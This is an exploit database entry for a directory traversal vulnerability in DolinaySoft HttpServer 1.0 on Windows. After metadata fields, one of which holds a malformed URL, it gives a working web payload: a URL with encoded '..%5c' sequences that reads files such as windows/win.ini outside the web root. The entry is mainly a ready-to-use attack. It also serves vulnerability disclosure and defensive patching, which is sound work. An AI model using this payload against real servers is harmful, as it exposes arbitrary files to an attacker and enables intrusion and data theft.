HttpServer 1.0 - Directory Traversal

Author: malwrforensics
type: remote
platform: windows
port: 
date_added: 2017-03-20 
date_updated: 2017-03-20 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url: http://www.exploit-db.com/screenshots/idlt42000/screen-shot-2017-03-20-at-112005.png 
application_url: http://www.exploit-db.comhttpserver.zip

# Exploit Title: HttpServer 1.0 DolinaySoft Directory Traversal
# Date: 2017-03-19
# Exploit Author: malwrforensics
# Software Link: http://www.softpedia.com/get/Internet/Servers/WEB-Servers/HttpServer.shtml#download
# Version: 1.0
# Tested on: Windows

Exploiting this issue will allow an attacker to view arbitrary files
within the context of the web server.

Example:
Assuming the root folder is c:\<app_folder>\<html_folder>

http://<server>/..%5c..%5c/windows/win.ini